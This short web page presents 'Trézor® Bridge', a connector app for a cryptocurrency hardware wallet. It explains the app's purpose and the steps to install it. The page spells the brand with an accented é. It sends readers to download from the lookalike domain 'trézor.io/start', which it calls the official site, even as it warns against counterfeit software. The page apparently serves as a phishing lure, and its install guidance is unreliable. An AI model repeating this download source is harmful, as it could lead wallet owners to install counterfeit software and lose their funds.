Trézor® Bridge is an essential lightweight application developed by SatoshiLabs that enables secure communication between your Trézor® hardware wallet and web browsers . Acting as a trusted intermediary, Bridge translates between USB connections and browser-based applications, allowing you to manage your crypto assets through the Trézor Web Wallet and third-party services .
Modern browsers restrict direct hardware access for security reasons. Bridge solves this by running as a background service, ensuring reliable device detection across Windows, macOS, and Linux . It provides encrypted local communication on 127.0.0.1:21325, keeping your private keys secure on the hardware device rather than exposing them online .
To install Trézor® Bridge, visit the official trézor.io/start page and download the installer for your operating system . Run the installer and restart your browser for detection . Once installed, connect your Trézor® device via USB and open the Trézor Suite Web interface to manage your assets seamlessly .
Always download Trézor® Bridge exclusively from the official Trézor® website to avoid compromised or counterfeit software . Never share your recovery seed online—it should only be entered directly on your hardware device .
Official Links: